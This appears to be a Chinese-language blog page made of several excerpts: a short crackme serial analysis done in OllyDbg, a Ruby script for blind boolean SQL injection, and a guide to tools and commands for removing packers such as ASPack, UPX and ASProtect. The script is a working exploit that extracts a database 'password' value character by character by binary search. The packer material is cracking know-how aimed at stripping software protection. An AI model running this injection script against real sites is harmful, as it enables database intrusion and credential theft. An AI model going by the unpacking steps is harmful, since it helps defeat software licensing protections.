Private Sub Command1_Click() '4058B0
看到這個function裡面的
loc_0040592D: Form1.Unknown_405A60(arg_8, eax, Form1.QueryInterface, eax+03h, "")
用ollydbg追進去
這段很明顯是在判斷數字正確性, 錯誤的話會跳到00405b02
所以就下幾個數字進去測試
發現, 全部數字加起來必須為16h, 且確定的位數為 4__09, 10次內搞定: )...
read more
總有新鮮事~
...
# Author : mashimaro
# Last Modify : 2007/12/11
require 'net/http'
require 'net/https'
host = 'www.host_url.com'
path = '/exploits_path/index2.php?login=user'
cookie = 'PHPSESSID=***********************'
http = Net::HTTP.new(host, 80)
#http.use_ssl = true
headers = {
'Cookie' => cookie,
# 'Referer' => 'http://profil.wp.pl/login.html',
# 'Content-Type' => 'application/x-www-form-urlencoded'
}
cmd = 'password';
appear_str = 'Steven Baker';
len = 0;
if(len > 0)
print 'len = ' + len.to_s;
else
len = 1;
print 'len = 1';
# Step 1. 判斷回傳長度
while(1)
resp, data = http.get(path + '\'%20and%20length(' + cmd + ')>=' + (len + 1).to_s + '--\'',
headers)
break if(!data.index(appear_str));
print 8.chr * len.to_s.length;
len = len + 1;
print len.to_s;
end
end
puts '';
i = 1;
print 'str = ';
# Step 2. 找出字串
while(i <= len) print 80.chr; resp, data = http.get(path + '\'%20and%20ascii(mid(' + cmd + ',' + i.to_s + ',1))>=80--\'',
headers);
if(data.index(appear_str))
min = 80;
max = 127;
else
min = 32;
max = 79;
end
while(min != max)
mid = ((min + max + 1) / 2).to_i;
print 8.chr;
print mid.chr;
str = ' [' + min.to_s + ' ' + mid.to_s + ' ' + max.to_s + ']';
print str;
resp, data = http.get(path + '\'%20and%20ascii(mid(' + cmd + ',' + i.to_s + ',1))>=' +
mid.to_s + '--\'', headers);
if(data.index(appear_str))
min = mid;
else
max = mid - 1;
end
if(min > max)
puts 'error: min > max';
exit(0);
end
print (8.chr) * str.length + ' ' * str.length + (8.chr) * str.length;
end
print 8.chr + min.chr;
i = i + 1;
end
puts "\r\n\r\n" + 'sql brute force search done!!';
1、文件分析工具(偵測殼的類型):Fi,GetTyp,peid,pe-scan
2、OEP入口查找工具:SoftICE,TRW,ollydbg,loader,peid
3、dump工具:IceDump,TRW,PEditor,ProcDump32,LordPE
4、PE文件編輯工具:PEditor,ProcDump32,LordPE
5、重建Import Table工具:ImportREC,ReVirgin
6、ASProtect脫殼專用工具:Caspr(ASPr V1.1-V1.2有效),Rad(只對ASPr V1.1有效),loader,peid
##CONTINUE##
(1)Aspack: 用的最多,但只要用UNASPACK或PEDUMP32脫殼就行了。
(2)ASProtect + aspack:次之,國外的軟件多用它加殼,脫殼時需要用到SOFTICE+ICEDUMP,需要一定的專業知識。
(3)Upx: 可以用UPX本身來脫殼,但要注意版本是否一致,用-D 參數
(4)Armadill: 可以用SOFTICE+ICEDUMP脫殼,比較煩
(5)Dbpe: 國內比較好的加密軟件,新版本暫時不能脫,但可以破解
(6)NeoLite: 可以用自己來脫殼
(7)Pcguard: 可以用SOFTICE+ICEDUMP+FROGICE來脫殼
(8)Pecompat: 用SOFTICE配合PEDUMP32來脫殼,但不要專業知識
(9)Petite: 有一部分的老版本可以用PEDUMP32直接脫殼,新版本脫殼時需要用到SOFTICE+ICEDUMP,需要一定的專業知識
(10)WWpack32: 和PECOMPACT一樣其實有一部分的老版本可以用PEDUMP32直接脫殼,不過有時候資源無法修改,也就無法漢化,所以最好還是用SOFTICE配合 PEDUMP32脫殼
常見的殼脫法:
(一)aspack殼 脫殼可用unaspack或caspr 1.unaspack ,執行後選取待脫殼的軟體即可。 缺點:只能脫aspack早些時候版本的殼,不能脫高版本的殼 。
(二)upx殼 脫殼可用upx待脫殼的軟體(如aa.exe)和upx.exe位於同一目錄下,執行windows 開始功能表的執行,輸入upx -d aa.exe。
(三)PEcompact殼 脫殼用unpecompact ,執行後選取待脫殼的軟體即可。
(四)procdump 萬能脫殼但不精,一般很少用。使用方法:運行後,先指定殼的名稱,再選定欲脫殼軟件,確定即可脫殼後的檔大於原文件由於脫殼軟件很成熟,手動脫殼一般用不到。
...